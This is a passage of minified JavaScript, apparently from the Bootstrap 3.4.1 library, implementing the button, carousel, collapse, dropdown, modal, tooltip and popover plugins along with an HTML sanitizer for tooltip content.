r=e(t.target).closest(".btn");n.call(r,"toggle"),e(t.target).is('input[type="radio"], input[type="checkbox"]')||(t.preventDefault(),r.is("input,button")?r.trigger("focus"):r.find("input:visible,button:visible").first().trigger("focus"))})).on("focus.bs.button.data-api blur.bs.button.data-api",'[data-toggle^="button"]',(function(t){e(t.target).closest(".btn").toggleClass("focus",/^focus(in)?$/.test(t.type))}))}(r),function(e){"use strict";var t=function(t,n){this.$element=e(t),this.$indicators=this.$element.find(".carousel-indicators"),this.options=n,this.paused=null,this.sliding=null,this.interval=null,this.$active=null,this.$items=null,this.options.keyboard&&this.$element.on("keydown.bs.carousel",e.proxy(this.keydown,this)),"hover"==this.options.pause&&!("ontouchstart"in document.documentElement)&&this.$element.on("mouseenter.bs.carousel",e.proxy(this.pause,this)).on("mouseleave.bs.carousel",e.proxy(this.cycle,this))};function n(n){return this.each((function(){var r=e(this),i=r.data("bs.carousel"),a=e.extend({},t.DEFAULTS,r.data(),"object"==typeof n&&n),o="string"==typeof n?n:a.slide;i||r.data("bs.carousel",i=new t(this,a)),"number"==typeof n?i.to(n):o?i[o]():a.interval&&i.pause().cycle()}))}t.VERSION="3.4.1",t.TRANSITION_DURATION=600,t.DEFAULTS={interval:5e3,pause:"hover",wrap:!0,keyboard:!0},t.prototype.keydown=function(e){if(!/input|textarea/i.test(e.target.tagName)){switch(e.which){case 37:this.prev();break;case 39:this.next();break;default:return}e.preventDefault()}},t.prototype.cycle=function(t){return t||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(e.proxy(this.next,this),this.options.interval)),this},t.prototype.getItemIndex=function(e){return this.$items=e.parent().children(".item"),this.$items.index(e||this.$active)},t.prototype.getItemForDirection=function(e,t){var n=this.getItemIndex(t);if(("prev"==e&&0===n||"next"==e&&n==this.$items.length-1)&&!this.options.wrap)return t;var r=(n+("prev"==e?-1:1))%this.$items.length;return this.$items.eq(r)},t.prototype.to=function(e){var t=this,n=this.getItemIndex(this.$active=this.$element.find(".item.active"));if(!(e>this.$items.length-1||e<0))return this.sliding?this.$element.one("slid.bs.carousel",(function(){t.to(e)})):n==e?this.pause().cycle():this.slide(e>n?"next":"prev",this.$items.eq(e))},t.prototype.pause=function(t){return t||(this.paused=!0),this.$element.find(".next, .prev").length&&e.support.transition&&(this.$element.trigger(e.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},t.prototype.next=function(){if(!this.sliding)return this.slide("next")},t.prototype.prev=function(){if(!this.sliding)return this.slide("prev")},t.prototype.slide=function(n,r){var i=this.$element.find(".item.active"),a=r||this.getItemForDirection(n,i),o=this.interval,s="next"==n?"left":"right",l=this;if(a.hasClass("active"))return this.sliding=!1;var u=a[0],c=e.Event("slide.bs.carousel",{relatedTarget:u,direction:s});if(this.$element.trigger(c),!c.isDefaultPrevented()){if(this.sliding=!0,o&&this.pause(),this.$indicators.length){this.$indicators.find(".active").removeClass("active");var d=e(this.$indicators.children()[this.getItemIndex(a)]);d&&d.addClass("active")}var f=e.Event("slid.bs.carousel",{relatedTarget:u,direction:s});return e.support.transition&&this.$element.hasClass("slide")?(a.addClass(n),"object"==typeof a&&a.length&&a[0].offsetWidth,i.addClass(s),a.addClass(s),i.one("bsTransitionEnd",(function(){a.removeClass([n,s].join(" ")).addClass("active"),i.removeClass(["active",s].join(" ")),l.sliding=!1,setTimeout((function(){l.$element.trigger(f)}),0)})).emulateTransitionEnd(t.TRANSITION_DURATION)):(i.removeClass("active"),a.addClass("active"),this.sliding=!1,this.$element.trigger(f)),o&&this.cycle(),this}};var r=e.fn.carousel;e.fn.carousel=n,e.fn.carousel.Constructor=t,e.fn.carousel.noConflict=function(){return e.fn.carousel=r,this};var i=function(t){var r=e(this),i=r.attr("href");i&&(i=i.replace(/.*(?=#[^\s]+$)/,""));var a=r.attr("data-target")||i,o=e(document).find(a);if(o.hasClass("carousel")){var s=e.extend({},o.data(),r.data()),l=r.attr("data-slide-to");l&&(s.interval=!1),n.call(o,s),l&&o.data("bs.carousel").to(l),t.preventDefault()}};e(document).on("click.bs.carousel.data-api","[data-slide]",i).on("click.bs.carousel.data-api","[data-slide-to]",i),e(window).on("load",(function(){e('[data-ride="carousel"]').each((function(){var t=e(this);n.call(t,t.data())}))}))}(r),function(e){"use strict";var t=function(n,r){this.$element=e(n),this.options=e.extend({},t.DEFAULTS,r),this.$trigger=e('[data-toggle="collapse"][href="#'+n.id+'"],[data-toggle="collapse"][data-target="#'+n.id+'"]'),this.transitioning=null,this.options.parent?this.$parent=this.getParent():this.addAriaAndCollapsedClass(this.$element,this.$trigger),this.options.toggle&&this.toggle()};function n(t){var n,r=t.attr("data-target")||(n=t.attr("href"))&&n.replace(/.*(?=#[^\s]+$)/,"");return e(document).find(r)}function r(n){return this.each((function(){var r=e(this),i=r.data("bs.collapse"),a=e.extend({},t.DEFAULTS,r.data(),"object"==typeof n&&n);!i&&a.toggle&&/show|hide/.test(n)&&(a.toggle=!1),i||r.data("bs.collapse",i=new t(this,a)),"string"==typeof n&&i[n]()}))}t.VERSION="3.4.1",t.TRANSITION_DURATION=350,t.DEFAULTS={toggle:!0},t.prototype.dimension=function(){return this.$element.hasClass("width")?"width":"height"},t.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var n,i=this.$parent&&this.$parent.children(".panel").children(".in, .collapsing");if(!(i&&i.length&&(n=i.data("bs.collapse"))&&n.transitioning)){var a=e.Event("show.bs.collapse");if(this.$element.trigger(a),!a.isDefaultPrevented()){i&&i.length&&(r.call(i,"hide"),n||i.data("bs.collapse",null));var o=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[o](0).attr("aria-expanded",!0),this.$trigger.removeClass("collapsed").attr("aria-expanded",!0),this.transitioning=1;var s=function(){this.$element.removeClass("collapsing").addClass("collapse in")[o](""),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!e.support.transition)return s.call(this);var l=e.camelCase(["scroll",o].join("-"));this.$element.one("bsTransitionEnd",e.proxy(s,this)).emulateTransitionEnd(t.TRANSITION_DURATION)[o](this.$element[0][l])}}}},t.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var n=e.Event("hide.bs.collapse");if(this.$element.trigger(n),!n.isDefaultPrevented()){var r=this.dimension();this.$element[r](this.$element[r]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse in").attr("aria-expanded",!1),this.$trigger.addClass("collapsed").attr("aria-expanded",!1),this.transitioning=1;var i=function(){this.transitioning=0,this.$element.removeClass("collapsing").addClass("collapse").trigger("hidden.bs.collapse")};if(!e.support.transition)return i.call(this);this.$element[r](0).one("bsTransitionEnd",e.proxy(i,this)).emulateTransitionEnd(t.TRANSITION_DURATION)}}},t.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()},t.prototype.getParent=function(){return e(document).find(this.options.parent).find('[data-toggle="collapse"][data-parent="'+this.options.parent+'"]').each(e.proxy((function(t,r){var i=e(r);this.addAriaAndCollapsedClass(n(i),i)}),this)).end()},t.prototype.addAriaAndCollapsedClass=function(e,t){var n=e.hasClass("in");e.attr("aria-expanded",n),t.toggleClass("collapsed",!n).attr("aria-expanded",n)};var i=e.fn.collapse;e.fn.collapse=r,e.fn.collapse.Constructor=t,e.fn.collapse.noConflict=function(){return e.fn.collapse=i,this},e(document).on("click.bs.collapse.data-api",'[data-toggle="collapse"]',(function(t){var i=e(this);i.attr("data-target")||t.preventDefault();var a=n(i),o=a.data("bs.collapse")?"toggle":i.data();r.call(a,o)}))}(r),function(e){"use strict";var t='[data-toggle="dropdown"]',n=function(t){e(t).on("click.bs.dropdown",this.toggle)};function r(t){var n=t.attr("data-target");n||(n=(n=t.attr("href"))&&/#[A-Za-z]/.test(n)&&n.replace(/.*(?=#[^\s]*$)/,""));var r="#"!==n?e(document).find(n):null;return r&&r.length?r:t.parent()}function i(n){n&&3===n.which||(e(".dropdown-backdrop").remove(),e(t).each((function(){var t=e(this),i=r(t),a={relatedTarget:this};i.hasClass("open")&&(n&&"click"==n.type&&/input|textarea/i.test(n.target.tagName)&&e.contains(i[0],n.target)||(i.trigger(n=e.Event("hide.bs.dropdown",a)),n.isDefaultPrevented()||(t.attr("aria-expanded","false"),i.removeClass("open").trigger(e.Event("hidden.bs.dropdown",a)))))})))}n.VERSION="3.4.1",n.prototype.toggle=function(t){var n=e(this);if(!n.is(".disabled, :disabled")){var a=r(n),o=a.hasClass("open");if(i(),!o){"ontouchstart"in document.documentElement&&!a.closest(".navbar-nav").length&&e(document.createElement("div")).addClass("dropdown-backdrop").insertAfter(e(this)).on("click",i);var s={relatedTarget:this};if(a.trigger(t=e.Event("show.bs.dropdown",s)),t.isDefaultPrevented())return;n.trigger("focus").attr("aria-expanded","true"),a.toggleClass("open").trigger(e.Event("shown.bs.dropdown",s))}return!1}},n.prototype.keydown=function(n){if(/(38|40|27|32)/.test(n.which)&&!/input|textarea/i.test(n.target.tagName)){var i=e(this);if(n.preventDefault(),n.stopPropagation(),!i.is(".disabled, :disabled")){var a=r(i),o=a.hasClass("open");if(!o&&27!=n.which||o&&27==n.which)return 27==n.which&&a.find(t).trigger("focus"),i.trigger("click");var s=a.find(".dropdown-menu li:not(.disabled):visible a");if(s.length){var l=s.index(n.target);38==n.which&&l>0&&l--,40==n.which&&l<s.length-1&&l++,~l||(l=0),s.eq(l).trigger("focus")}}}};var a=e.fn.dropdown;e.fn.dropdown=function(t){return this.each((function(){var r=e(this),i=r.data("bs.dropdown");i||r.data("bs.dropdown",i=new n(this)),"string"==typeof t&&i[t].call(r)}))},e.fn.dropdown.Constructor=n,e.fn.dropdown.noConflict=function(){return e.fn.dropdown=a,this},e(document).on("click.bs.dropdown.data-api",i).on("click.bs.dropdown.data-api",".dropdown form",(function(e){e.stopPropagation()})).on("click.bs.dropdown.data-api",t,n.prototype.toggle).on("keydown.bs.dropdown.data-api",t,n.prototype.keydown).on("keydown.bs.dropdown.data-api",".dropdown-menu",n.prototype.keydown)}(r),function(e){"use strict";var t=function(t,n){this.options=n,this.$body=e(document.body),this.$element=e(t),this.$dialog=this.$element.find(".modal-dialog"),this.$backdrop=null,this.isShown=null,this.originalBodyPad=null,this.scrollbarWidth=0,this.ignoreBackdropClick=!1,this.fixedContent=".navbar-fixed-top, .navbar-fixed-bottom",this.options.remote&&this.$element.find(".modal-content").load(this.options.remote,e.proxy((function(){this.$element.trigger("loaded.bs.modal")}),this))};function n(n,r){return this.each((function(){var i=e(this),a=i.data("bs.modal"),o=e.extend({},t.DEFAULTS,i.data(),"object"==typeof n&&n);a||i.data("bs.modal",a=new t(this,o)),"string"==typeof n?a[n](r):o.show&&a.show(r)}))}t.VERSION="3.4.1",t.TRANSITION_DURATION=300,t.BACKDROP_TRANSITION_DURATION=150,t.DEFAULTS={backdrop:!0,keyboard:!0,show:!0},t.prototype.toggle=function(e){return this.isShown?this.hide():this.show(e)},t.prototype.show=function(n){var r=this,i=e.Event("show.bs.modal",{relatedTarget:n});this.$element.trigger(i),this.isShown||i.isDefaultPrevented()||(this.isShown=!0,this.checkScrollbar(),this.setScrollbar(),this.$body.addClass("modal-open"),this.escape(),this.resize(),this.$element.on("click.dismiss.bs.modal",'[data-dismiss="modal"]',e.proxy(this.hide,this)),this.$dialog.on("mousedown.dismiss.bs.modal",(function(){r.$element.one("mouseup.dismiss.bs.modal",(function(t){e(t.target).is(r.$element)&&(r.ignoreBackdropClick=!0)}))})),this.backdrop((function(){var i=e.support.transition&&r.$element.hasClass("fade");r.$element.parent().length||r.$element.appendTo(r.$body),r.$element.show().scrollTop(0),r.adjustDialog(),i&&r.$element[0].offsetWidth,r.$element.addClass("in"),r.enforceFocus();var a=e.Event("shown.bs.modal",{relatedTarget:n});i?r.$dialog.one("bsTransitionEnd",(function(){r.$element.trigger("focus").trigger(a)})).emulateTransitionEnd(t.TRANSITION_DURATION):r.$element.trigger("focus").trigger(a)})))},t.prototype.hide=function(n){n&&n.preventDefault(),n=e.Event("hide.bs.modal"),this.$element.trigger(n),this.isShown&&!n.isDefaultPrevented()&&(this.isShown=!1,this.escape(),this.resize(),e(document).off("focusin.bs.modal"),this.$element.removeClass("in").off("click.dismiss.bs.modal").off("mouseup.dismiss.bs.modal"),this.$dialog.off("mousedown.dismiss.bs.modal"),e.support.transition&&this.$element.hasClass("fade")?this.$element.one("bsTransitionEnd",e.proxy(this.hideModal,this)).emulateTransitionEnd(t.TRANSITION_DURATION):this.hideModal())},t.prototype.enforceFocus=function(){e(document).off("focusin.bs.modal").on("focusin.bs.modal",e.proxy((function(e){document===e.target||this.$element[0]===e.target||this.$element.has(e.target).length||this.$element.trigger("focus")}),this))},t.prototype.escape=function(){this.isShown&&this.options.keyboard?this.$element.on("keydown.dismiss.bs.modal",e.proxy((function(e){27==e.which&&this.hide()}),this)):this.isShown||this.$element.off("keydown.dismiss.bs.modal")},t.prototype.resize=function(){this.isShown?e(window).on("resize.bs.modal",e.proxy(this.handleUpdate,this)):e(window).off("resize.bs.modal")},t.prototype.hideModal=function(){var e=this;this.$element.hide(),this.backdrop((function(){e.$body.removeClass("modal-open"),e.resetAdjustments(),e.resetScrollbar(),e.$element.trigger("hidden.bs.modal")}))},t.prototype.removeBackdrop=function(){this.$backdrop&&this.$backdrop.remove(),this.$backdrop=null},t.prototype.backdrop=function(n){var r=this,i=this.$element.hasClass("fade")?"fade":"";if(this.isShown&&this.options.backdrop){var a=e.support.transition&&i;if(this.$backdrop=e(document.createElement("div")).addClass("modal-backdrop "+i).appendTo(this.$body),this.$element.on("click.dismiss.bs.modal",e.proxy((function(e){this.ignoreBackdropClick?this.ignoreBackdropClick=!1:e.target===e.currentTarget&&("static"==this.options.backdrop?this.$element[0].focus():this.hide())}),this)),a&&this.$backdrop[0].offsetWidth,this.$backdrop.addClass("in"),!n)return;a?this.$backdrop.one("bsTransitionEnd",n).emulateTransitionEnd(t.BACKDROP_TRANSITION_DURATION):n()}else if(!this.isShown&&this.$backdrop){this.$backdrop.removeClass("in");var o=function(){r.removeBackdrop(),n&&n()};e.support.transition&&this.$element.hasClass("fade")?this.$backdrop.one("bsTransitionEnd",o).emulateTransitionEnd(t.BACKDROP_TRANSITION_DURATION):o()}else n&&n()},t.prototype.handleUpdate=function(){this.adjustDialog()},t.prototype.adjustDialog=function(){var e=this.$element[0].scrollHeight>document.documentElement.clientHeight;this.$element.css({paddingLeft:!this.bodyIsOverflowing&&e?this.scrollbarWidth:"",paddingRight:this.bodyIsOverflowing&&!e?this.scrollbarWidth:""})},t.prototype.resetAdjustments=function(){this.$element.css({paddingLeft:"",paddingRight:""})},t.prototype.checkScrollbar=function(){var e=window.innerWidth;if(!e){var t=document.documentElement.getBoundingClientRect();e=t.right-Math.abs(t.left)}this.bodyIsOverflowing=document.body.clientWidth<e,this.scrollbarWidth=this.measureScrollbar()},t.prototype.setScrollbar=function(){var t=parseInt(this.$body.css("padding-right")||0,10);this.originalBodyPad=document.body.style.paddingRight||"";var n=this.scrollbarWidth;this.bodyIsOverflowing&&(this.$body.css("padding-right",t+n),e(this.fixedContent).each((function(t,r){var i=r.style.paddingRight,a=e(r).css("padding-right");e(r).data("padding-right",i).css("padding-right",parseFloat(a)+n+"px")})))},t.prototype.resetScrollbar=function(){this.$body.css("padding-right",this.originalBodyPad),e(this.fixedContent).each((function(t,n){var r=e(n).data("padding-right");e(n).removeData("padding-right"),n.style.paddingRight=r||""}))},t.prototype.measureScrollbar=function(){var e=document.createElement("div");e.className="modal-scrollbar-measure",this.$body.append(e);var t=e.offsetWidth-e.clientWidth;return this.$body[0].removeChild(e),t};var r=e.fn.modal;e.fn.modal=n,e.fn.modal.Constructor=t,e.fn.modal.noConflict=function(){return e.fn.modal=r,this},e(document).on("click.bs.modal.data-api",'[data-toggle="modal"]',(function(t){var r=e(this),i=r.attr("href"),a=r.attr("data-target")||i&&i.replace(/.*(?=#[^\s]+$)/,""),o=e(document).find(a),s=o.data("bs.modal")?"toggle":e.extend({remote:!/#/.test(i)&&i},o.data(),r.data());r.is("a")&&t.preventDefault(),o.one("show.bs.modal",(function(e){e.isDefaultPrevented()||o.one("hidden.bs.modal",(function(){r.is(":visible")&&r.trigger("focus")}))})),n.call(o,s,this)}))}(r),function(e){"use strict";var t=["sanitize","whiteList","sanitizeFn"],n=["background","cite","href","itemtype","longdesc","poster","src","xlink:href"],r={"*":["class","dir","id","lang","role",/^aria-[\w-]*$/i],a:["target","href","title","rel"],area:[],b:[],br:[],col:[],code:[],div:[],em:[],hr:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],i:[],img:["src","alt","title","width","height"],li:[],ol:[],p:[],pre:[],s:[],small:[],span:[],sub:[],sup:[],strong:[],u:[],ul:[]},i=/^(?:(?:https?|mailto|ftp|tel|file):|[^&:/?#]*(?:[/?#]|$))/gi,a=/^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[a-z0-9+/]+=*$/i;function o(t,r){var o=t.nodeName.toLowerCase();if(-1!==e.inArray(o,r))return-1===e.inArray(o,n)||Boolean(t.nodeValue.match(i)||t.nodeValue.match(a));for(var s=e(r).filter((function(e,t){return t instanceof RegExp})),l=0,u=s.length;l<u;l++)if(o.match(s[l]))return!0;return!1}function s(t,n,r){if(0===t.length)return t;if(r&&"function"==typeof r)return r(t);if(!document.implementation||!document.implementation.createHTMLDocument)return t;var i=document.implementation.createHTMLDocument("sanitization");i.body.innerHTML=t;for(var a=e.map(n,(function(e,t){return t})),s=e(i.body).find("*"),l=0,u=s.length;l<u;l++){var c=s[l],d=c.nodeName.toLowerCase();if(-1!==e.inArray(d,a))for(var f=e.map(c.attributes,(function(e){return e})),h=[].concat(n["*"]||[],n[d]||[]),m=0,p=f.length;m<p;m++)o(f[m],h)||c.removeAttribute(f[m].nodeName);else c.parentNode.removeChild(c)}return i.body.innerHTML}var l=function(e,t){this.type=null,this.options=null,this.enabled=null,this.timeout=null,this.hoverState=null,this.$element=null,this.inState=null,this.init("tooltip",e,t)};l.VERSION="3.4.1",l.TRANSITION_DURATION=150,l.DEFAULTS={animation:!0,placement:"top",selector:!1,template:'<div class="tooltip" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!1,container:!1,viewport:{selector:"body",padding:0},sanitize:!0,sanitizeFn:null,whiteList:r},l.prototype.init=function(t,n,r){if(this.enabled=!0,this.type=t,this.$element=e(n),this.options=this.getOptions(r),this.$viewport=this.options.viewport&&e(document).find(e.isFunction(this.options.viewport)?this.options.viewport.call(this,this.$element):this.options.viewport.selector||this.options.viewport),this.inState={click:!1,hover:!1,focus:!1},this.$element[0]instanceof document.constructor&&!this.options.selector)throw new Error("`selector` option must be specified when initializing "+this.type+" on the window.document object!");for(var i=this.options.trigger.split(" "),a=i.length;a--;){var o=i[a];if("click"==o)this.$element.on("click."+this.type,this.options.selector,e.proxy(this.toggle,this));else if("manual"!=o){var s="hover"==o?"mouseenter":"focusin",l="hover"==o?"mouseleave":"focusout";this.$element.on(s+"."+this.type,this.options.selector,e.proxy(this.enter,this)),this.$element.on(l+"."+this.type,this.options.selector,e.proxy(this.leave,this))}}this.options.selector?this._options=e.extend({},this.options,{trigger:"manual",selector:""}):this.fixTitle()},l.prototype.getDefaults=function(){return l.DEFAULTS},l.prototype.getOptions=function(n){var r=this.$element.data();for(var i in r)r.hasOwnProperty(i)&&-1!==e.inArray(i,t)&&delete r[i];return(n=e.extend({},this.getDefaults(),r,n)).delay&&"number"==typeof n.delay&&(n.delay={show:n.delay,hide:n.delay}),n.sanitize&&(n.template=s(n.template,n.whiteList,n.sanitizeFn)),n},l.prototype.getDelegateOptions=function(){var t={},n=this.getDefaults();return this._options&&e.each(this._options,(function(e,r){n[e]!=r&&(t[e]=r)})),t},l.prototype.enter=function(t){var n=t instanceof this.constructor?t:e(t.currentTarget).data("bs."+this.type);if(n||(n=new this.constructor(t.currentTarget,this.getDelegateOptions()),e(t.currentTarget).data("bs."+this.type,n)),t instanceof e.Event&&(n.inState["focusin"==t.type?"focus":"hover"]=!0),n.tip().hasClass("in")||"in"==n.hoverState)n.hoverState="in";else{if(clearTimeout(n.timeout),n.hoverState="in",!n.options.delay||!n.options.delay.show)return n.show();n.timeout=setTimeout((function(){"in"==n.hoverState&&n.show()}),n.options.delay.show)}},l.prototype.isInStateTrue=function(){for(var e in this.inState)if(this.inState[e])return!0;return!1},l.prototype.leave=function(t){var n=t instanceof this.constructor?t:e(t.currentTarget).data("bs."+this.type);if(n||(n=new this.constructor(t.currentTarget,this.getDelegateOptions()),e(t.currentTarget).data("bs."+this.type,n)),t instanceof e.Event&&(n.inState["focusout"==t.type?"focus":"hover"]=!1),!n.isInStateTrue()){if(clearTimeout(n.timeout),n.hoverState="out",!n.options.delay||!n.options.delay.hide)return n.hide();n.timeout=setTimeout((function(){"out"==n.hoverState&&n.hide()}),n.options.delay.hide)}},l.prototype.show=function(){var t=e.Event("show.bs."+this.type);if(this.hasContent()&&this.enabled){this.$element.trigger(t);var n=e.contains(this.$element[0].ownerDocument.documentElement,this.$element[0]);if(t.isDefaultPrevented()||!n)return;var r=this,i=this.tip(),a=this.getUID(this.type);this.setContent(),i.attr("id",a),this.$element.attr("aria-describedby",a),this.options.animation&&i.addClass("fade");var o="function"==typeof this.options.placement?this.options.placement.call(this,i[0],this.$element[0]):this.options.placement,s=/\s?auto?\s?/i,u=s.test(o);u&&(o=o.replace(s,"")||"top"),i.detach().css({top:0,left:0,display:"block"}).addClass(o).data("bs."+this.type,this),this.options.container?i.appendTo(e(document).find(this.options.container)):i.insertAfter(this.$element),this.$element.trigger("inserted.bs."+this.type);var c=this.getPosition(),d=i[0].offsetWidth,f=i[0].offsetHeight;if(u){var h=o,m=this.getPosition(this.$viewport);o="bottom"==o&&c.bottom+f>m.bottom?"top":"top"==o&&c.top-f<m.top?"bottom":"right"==o&&c.right+d>m.width?"left":"left"==o&&c.left-d<m.left?"right":o,i.removeClass(h).addClass(o)}var p=this.getCalculatedOffset(o,c,d,f);this.applyPlacement(p,o);var _=function(){var e=r.hoverState;r.$element.trigger("shown.bs."+r.type),r.hoverState=null,"out"==e&&r.leave(r)};e.support.transition&&this.$tip.hasClass("fade")?i.one("bsTransitionEnd",_).emulateTransitionEnd(l.TRANSITION_DURATION):_()}},l.prototype.applyPlacement=function(t,n){var r=this.tip(),i=r[0].offsetWidth,a=r[0].offsetHeight,o=parseInt(r.css("margin-top"),10),s=parseInt(r.css("margin-left"),10);isNaN(o)&&(o=0),isNaN(s)&&(s=0),t.top+=o,t.left+=s,e.offset.setOffset(r[0],e.extend({using:function(e){r.css({top:Math.round(e.top),left:Math.round(e.left)})}},t),0),r.addClass("in");var l=r[0].offsetWidth,u=r[0].offsetHeight;"top"==n&&u!=a&&(t.top=t.top+a-u);var c=this.getViewportAdjustedDelta(n,t,l,u);c.left?t.left+=c.left:t.top+=c.top;var d=/top|bottom/.test(n),f=d?2*c.left-i+l:2*c.top-a+u,h=d?"offsetWidth":"offsetHeight";r.offset(t),this.replaceArrow(f,r[0][h],d)},l.prototype.replaceArrow=function(e,t,n){this.arrow().css(n?"left":"top",50*(1-e/t)+"%").css(n?"top":"left","")},l.prototype.setContent=function(){var e=this.tip(),t=this.getTitle();this.options.html?(this.options.sanitize&&(t=s(t,this.options.whiteList,this.options.sanitizeFn)),e.find(".tooltip-inner").html(t)):e.find(".tooltip-inner").text(t),e.removeClass("fade in top bottom left right")},l.prototype.hide=function(t){var n=this,r=e(this.$tip),i=e.Event("hide.bs."+this.type);function a(){"in"!=n.hoverState&&r.detach(),n.$element&&n.$element.removeAttr("aria-describedby").trigger("hidden.bs."+n.type),t&&t()}if(this.$element.trigger(i),!i.isDefaultPrevented())return r.removeClass("in"),e.support.transition&&r.hasClass("fade")?r.one("bsTransitionEnd",a).emulateTransitionEnd(l.TRANSITION_DURATION):a(),this.hoverState=null,this},l.prototype.fixTitle=function(){var e=this.$element;(e.attr("title")||"string"!=typeof e.attr("data-original-title"))&&e.attr("data-original-title",e.attr("title")||"").attr("title","")},l.prototype.hasContent=function(){return this.getTitle()},l.prototype.getPosition=function(t){var n=(t=t||this.$element)[0],r="BODY"==n.tagName,i=n.getBoundingClientRect();null==i.width&&(i=e.extend({},i,{width:i.right-i.left,height:i.bottom-i.top}));var a=window.SVGElement&&n instanceof window.SVGElement,o=r?{top:0,left:0}:a?null:t.offset(),s={scroll:r?document.documentElement.scrollTop||document.body.scrollTop:t.scrollTop()},l=r?{width:e(window).width(),height:e(window).height()}:null;return e.extend({},i,s,l,o)},l.prototype.getCalculatedOffset=function(e,t,n,r){return"bottom"==e?{top:t.top+t.height,left:t.left+t.width/2-n/2}:"top"==e?{top:t.top-r,left:t.left+t.width/2-n/2}:"left"==e?{top:t.top+t.height/2-r/2,left:t.left-n}:{top:t.top+t.height/2-r/2,left:t.left+t.width}},l.prototype.getViewportAdjustedDelta=function(e,t,n,r){var i={top:0,left:0};if(!this.$viewport)return i;var a=this.options.viewport&&this.options.viewport.padding||0,o=this.getPosition(this.$viewport);if(/right|left/.test(e)){var s=t.top-a-o.scroll,l=t.top+a-o.scroll+r;s<o.top?i.top=o.top-s:l>o.top+o.height&&(i.top=o.top+o.height-l)}else{var u=t.left-a,c=t.left+a+n;u<o.left?i.left=o.left-u:c>o.right&&(i.left=o.left+o.width-c)}return i},l.prototype.getTitle=function(){var e=this.$element,t=this.options;return e.attr("data-original-title")||("function"==typeof t.title?t.title.call(e[0]):t.title)},l.prototype.getUID=function(e){do{e+=~~(1e6*Math.random())}while(document.getElementById(e));return e},l.prototype.tip=function(){if(!this.$tip&&(this.$tip=e(this.options.template),1!=this.$tip.length))throw new Error(this.type+" `template` option must consist of exactly 1 top-level element!");return this.$tip},l.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".tooltip-arrow")},l.prototype.enable=function(){this.enabled=!0},l.prototype.disable=function(){this.enabled=!1},l.prototype.toggleEnabled=function(){this.enabled=!this.enabled},l.prototype.toggle=function(t){var n=this;t&&((n=e(t.currentTarget).data("bs."+this.type))||(n=new this.constructor(t.currentTarget,this.getDelegateOptions()),e(t.currentTarget).data("bs."+this.type,n))),t?(n.inState.click=!n.inState.click,n.isInStateTrue()?n.enter(n):n.leave(n)):n.tip().hasClass("in")?n.leave(n):n.enter(n)},l.prototype.destroy=function(){var e=this;clearTimeout(this.timeout),this.hide((function(){e.$element.off("."+e.type).removeData("bs."+e.type),e.$tip&&e.$tip.detach(),e.$tip=null,e.$arrow=null,e.$viewport=null,e.$element=null}))},l.prototype.sanitizeHtml=function(e){return s(e,this.options.whiteList,this.options.sanitizeFn)};var u=e.fn.tooltip;e.fn.tooltip=function(t){return this.each((function(){var n=e(this),r=n.data("bs.tooltip"),i="object"==typeof t&&t;!r&&/destroy|hide/.test(t)||(r||n.data("bs.tooltip",r=new l(this,i)),"string"==typeof t&&r[t]())}))},e.fn.tooltip.Constructor=l,e.fn.tooltip.noConflict=function(){return e.fn.tooltip=u,this}}(r),function(e){"use strict";var t=function(e,t){this.init("popover",e,t)};if(!e.fn.tooltip)throw new Error("Popover requires tooltip.js");t.VERSION="3.4.1",t.DEFAULTS=e.extend({},e.fn.tooltip.Constructor.DEFAULTS,{placement:"right",trigger:"click",content:"",template:'<div class="popover" role="tooltip"><div class="arrow"></div><h3 class="popover-title"></h3><div class="popover-content"></div></div>'}),(t.prototype=e.extend({},e.fn.tooltip.Constructor.prototype)).constructor=t,t.prototype.getDefaults=function(){return t.DEFAULTS},t.prototype.setContent=function(){var e=this.tip(),t=this.getTitle(),n=this.getContent();if(this.options.html){var r=typeof n;this.options.sanitize&&(t=this.sanitizeHtml(t),"string"===r&&(n=this.sanitizeHtml(n))),e.find(".popover-title").html(t),e.find(".popover-content").children().detach().end()["string"===r?"html":"append"](n)}else e.find(".popover-title").text(t),e.find(".popover-content").children().detach().end().text(n);e.removeClass("fade top bottom left right in"),e.find(".popover-title").html()||e.find(".popover-title").hide()},t.prototype.hasContent=function(){return this.getTitle()||this.getContent()},t.prototype.getContent=function(){var e=this.$element,t=this.options;return e.attr("data-content")||("function"==typeof t.content?t.content.call(e[0]):t.content)},t.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")};var n=e.fn.popover;e.fn.popover=function(n){return this.each((function(){var r=e(this),i=r.data("bs.popover"),a="object"==typeof n&&n;!i&&/destroy|hide/.test(n)||(i||r.data("bs.popover",i=new t(this,a)),"string"==typeof n&&i[n]())}))},e.fn.popover.Constructor=t,e.fn.popover.noConflict=function(){return e.fn.popover=n,this}}(r),function(e){"use strict";function t(n,r){this.$body=e(document.body),this.$scrollElement=e(n).is(document.body)?e(window):e(n),this.options=e.extend({},t.DEFAULTS,r),this.selector=(this.options.target||"")+" .nav li > a",this.offsets=[],this.targets=[],this.activeTarget=null,this.scrollHeight=0,this.$scrollElement.on("scroll.bs.scrollspy",e.proxy(this.process,this)),this.refresh(),this.process()}function n(n){return this.each((function(){var r=e(this),i=r.data("bs.scrollspy"),a="object"==typeof n&&n;i||r.data("bs.scrollspy",i=new t(this,a)),"string"==typeof n&&i[n]()}))}t.VERSION="3.4.1",t.DEFAULTS={offset:10},t.prototype.getScrollHeight=function(){return this.$scrollElement[0].scrollHeight||Math.max(this.$body[0].scrollHeight,document.documentElement.scrollHeight)},t.prototype.refresh=function(){var t=this,n="offset",r=0;this.offsets=[],this.targets=[],this.scrollHeight=this.getScrollHeight(),e.isWindow(this.$scrollElement[0])||(n="position",r=this.$scrollElement.scrollTop()),this.$body.find(this.selector).map((function(){var 